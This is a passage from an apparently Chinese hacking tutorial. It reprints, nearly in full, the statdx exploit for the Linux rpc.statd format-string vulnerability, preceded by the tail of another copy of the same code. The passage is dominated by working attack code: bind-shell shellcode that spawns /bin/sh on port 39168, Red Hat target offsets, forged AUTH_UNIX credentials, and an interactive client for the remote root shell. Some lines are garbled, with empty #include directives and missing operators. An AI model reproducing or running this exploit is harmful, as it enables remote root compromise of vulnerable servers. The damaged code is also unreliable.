fprintf(stderr, "No buffer address specified\n");
exit(EXIT_FAILURE);
}
bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if(!usetcp)
{
clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
if(clnt == NULL)
{
clnt_pcreateerror("clntudp_create()");
exit(EXIT_FAILURE);
}
tvr.tv_sec = 2;
tvr.tv_usec = 0;
clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
if(clnt == NULL)
{
clnt_pcreateerror("clnttcp_create()");
exit(EXIT_FAILURE);
}
}
/* AUTH_UNIX / AUTH_SYS authentication forgery */
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;
res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
(caddr_t) &smres, tv);
if(res != RPC_SUCCESS)
{
clnt_perror(clnt, "clnt_call()");
printf("A timeout was expected. Attempting connection to shell..\n");
sleep(5); connection(addr);
printf("Failed\n");
}
else
{
printf("Failed - statd returned res_stat: (%s) state: %d\n",
smres.res_stat ? "failure" : "success", smres.state);
}
free(buff);
clnt_destroy(clnt);
return -1;
}
/* www.hack.co.za [7 August 2000]*/ ,不过我没有试过
四. 找exploit程序.
上面介绍了这么多的漏洞,似乎root权限唾手可得…其实不然.有时候明明存在的漏洞,当你编译好程序攻击的时候,需要猜测n多次的offset值.这里给出一个常用的程序for linux statd的。
/**
*** $ gcc -o statdx statdx.c ; ./statdx -h
*** buffer -> This is the address you'll need (-a and -l options)
*** str -> Process-supplied string; 24 bytes long
*** 4 -> Duplicate dwords to satisfy the %!d specifiers and
*** the double %n when two successive values are equal
*** r -> Stack position of saved eip
*** %8x.. -> Wipes the va_list dword and str; 9 by default (-w option)
*** %!x -> Used for padding to form an aggregate overwrite value;
*** the exclamation mark denotes a field width. This may
*** or may not be present, depending on the value. An
*** algorithm is used to allow tricky values.
*** %n -> Writes overwrite value to the corresponding address
*** sc -> Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo head -1 sed 's/.*(//' \
*** awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024
#define max(a,b) ((a)>(b)?(a)b))
#define NOP 0x90
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c" /* jmp 0x7c */
/* kungfu: ------------------------------------------------------------ */
"\x59" /* popl %ecx */
"\x89\x41\x10" /* movl %eax,0x10(%ecx) */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08" /* movl %eax,0x8(%ecx) */
"\xfe\xc0" /* incb %al */
"\x89\x41\x04" /* movl %eax,0x4(%ecx) */
"\x89\xc3" /* movl %eax,%ebx */
"\xfe\xc0" /* incb %al */
"\x89\x01" /* movl %eax,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02" /* movb $0x2,%bl */
"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */
"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */
"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */
"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */
"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */
"\x88\x01" /* movb %al,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04" /* movb $0x4,%bl */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05" /* movb $0x5,%bl */
"\x30\xc0" /* xorb %al,%al */
"\x88\x41\x04" /* movb %al,0x4(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce" /* movl %ecx,%esi */
"\x88\xc3" /* movb %al,%bl */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */
"\x30\xc0" /* xorb %al,%al */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x0c" /* movl %esi,0xc(%esi) */
"\x8d\x56\x10" /* leal 0x10(%esi),%edx */
"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */
"\x89\xf3" /* movl %esi,%ebx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01" /* movb $0x1,%al */
"\xcd\x80" /* int $0x80 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff"; /* call -0x81 */
enum res
{ stat_succ,
stat_fail
};
struct sm_name
{ char *mon_name;
};
struct sm_stat_res
{ enum res res_stat;
int state;
};
struct type
{ int type;
char *desc;
char *code;
u_long bufpos;
int buflen;
int offset;
int wipe;
};
struct type types[] =
{ {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
{1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
{2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
{0, NULL, NULL, 0, 0, 0, 0}
};
bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{ if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
return (FALSE);
return (TRUE);
}
bool_t
xdr_res(XDR *xdrs, enum res *objp)
{ if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{ if (!xdr_res(xdrs, &objp->res_stat))
return (FALSE);
if (!xdr_int(xdrs, &objp->state))
return (FALSE);
return (TRUE);
}
void
usage(char *app)
{
int i;
fprintf(stderr, "statdx by ron1n \n");
fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] \n");
fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
fprintf(stderr, "-p\trpc.statd serves requests on [query]\n");
fprintf(stderr, "-a\tthe stack address of the buffer is \n");
fprintf(stderr, "-l\tthe length of the buffer is [1024]\n");
fprintf(stderr, "-o\tthe offset to return to is [600]\n");
fprintf(stderr, "-w\tthe number of dwords to wipe is [9]\n");
fprintf(stderr, "-s\tset timeout in seconds to [5]\n");
fprintf(stderr, "-d\tuse a hardcoded \n");
fprintf(stderr, "Available types:\n");
for(i = 0; types.desc; i++)
fprintf(stderr, "%d\t%s\n", types.type, types.desc);
exit(EXIT_FAILURE);
}
void
runshell(int sockd)
{ char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "cd /; ls -alF; id;\n", 19, 0);
for(;
{ FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{ perror("select()");
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{ bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{ perror("recv()");
exit(EXIT_FAILURE);
}
if(!ret)
{ fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
errno = 0;
if(send(sockd, buff, ret, 0) != ret)
{
if(errno) perror("send()");
else fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
void
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(39168);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket()");
exit(EXIT_FAILURE);
}
if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
{
printf("OMG! You now have rpc.statd technique!@#$!\n");
runshell(sockd);
}
close(sockd);
}

char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
int i, j, cnt, pad;
char pbyte, *buff, *ptr;
u_long retpos;
u_long dstpos;

while(bufpos % 4) bufpos--;
/* buflen + ebp */
retpos = bufpos + buflen + 4;
/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/
pbyte = retpos & 0xff;
/* Yes, it's 0x24 */
if(pbyte == 0x00 pbyte == 0x24)
{
fprintf(stderr, "Target address space contains a poison char\n");
exit(EXIT_FAILURE);
}
/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/
/* str */
cnt = 24;
/* 1 = process nul */
buflen -= cnt + 1;
if(!(buff = malloc(buflen + 1)))
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ptr = buff;
memset(ptr, NOP, buflen);
for(i = 0; i < 4; i++, retpos++)
{
/* junk dword */
for(j = 0; j < 4; j++)
*ptr++ = retpos >> j * 8 & 0xff;
/* r + i */
memcpy(ptr, ptr - 4, 4);
ptr += 4; cnt += 8;
}
/* restore */
retpos -= 4;
for(i = 0; i < wipe; i++)
{
/* consistent calculations */
strncpy(ptr, "%8x", 3);
ptr += 3; cnt += 8;
}
dstpos = bufpos + offset;
/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/
for(i = 0; i < 4; i++)
{
pad = dstpos >> i * 8 & 0xff;
if(pad == (cnt & 0xff))
{
sprintf(ptr, "%%n%%n");
ptr += 4; continue;
}
else
{
int tmp;
/* 0xffffffff = display count of 8 */
while(pad < cnt pad % cnt <= 8) pad += 0x100;
pad -= cnt, cnt += pad;
/* the source of this evil */
tmp = sprintf(ptr, "%%%dx%%n", pad);
ptr += tmp;
}
}
*ptr = NOP;
/* plug in the shellcode */
memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
buff[buflen] = '\0';
printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
printf("wiping %d dwords\n", wipe);
return buff;
}
struct in_addr
getip(char *host)
{
struct hostent *hs;
if((hs = gethostbyname(host)) == NULL)
{
herror("gethostbyname()");
exit(EXIT_FAILURE);
}
return *((struct in_addr *) hs->h_addr);
}

int
main(int argc, char **argv)
{
int ch;
char *buff;
CLIENT *clnt;
enum clnt_stat res;
struct timeval tv, tvr;
struct sm_name smname;
struct sm_stat_res smres;
struct sockaddr_in addr;
int type = -1;
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;
int sockp = RPC_ANYSOCK;
extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;

while((ch = getopt(argc, argv, "tp:a:l:w:s:d:")) != -1)
{
switch(ch)
{
case 't': usetcp = 1; break;
case 'p': sscanf(optarg, "%hu", &port); break;
case 'a': sscanf(optarg, "%lx", &bufpos); break;
case 'l': buflen = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
case 's': timeout = atoi(optarg); break;
case 'w': wipe = atoi(optarg); break;
case 'd': type = atoi(optarg); break;
default : usage(argv[0]);
}
}
if(!(target = argv[optind]))
{
fprintf(stderr, "No target host specified\n");
exit(EXIT_FAILURE);
}
if(type >= 0)
{
if(type >= sizeof types / sizeof types[0] - 1)
{
fprintf(stderr, "Invalid type\n");
exit(EXIT_FAILURE);
}
sc = types[type].code;
bufpos = types[type].bufpos;
buflen = types[type].buflen;
offset = types[type].offset;
wipe = types[type].wipe;
}
if(!bufpos)
{
fprintf(stderr, "No buffer address specified\n");
exit(EXIT_FAILURE);
}
bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if(!usetcp)
{
clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
if(clnt == NULL)
{
clnt_pcreateerror("clntudp_create()");
exit(EXIT_FAILURE);
}
tvr.tv_sec = 2;
tvr.tv_usec = 0;
clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
if(clnt == NULL)
{
clnt_pcreateerror("clnttcp_create()");
exit(EXIT_FAILURE);
}
}
/* AUTH_UNIX / AUTH_SYS authentication forgery */
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;
res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
(caddr_t) &smres, tv);
if(res != RPC_SUCCESS)
{
clnt_perror(clnt, "clnt_call()");
printf("A timeout was expected. Attempting connection to shell..\n");
sleep(5); connection(addr);
printf("Failed\n");
}
else
{
printf("Failed - statd returned res_stat: (%s) state: %d\n",
smres.res_stat ? "failure" : "success", smres.state);
}
free(buff);
clnt_destroy(clnt);
return -1;
}
/* www.hack.co.za [7 August 2000]*/
返回列表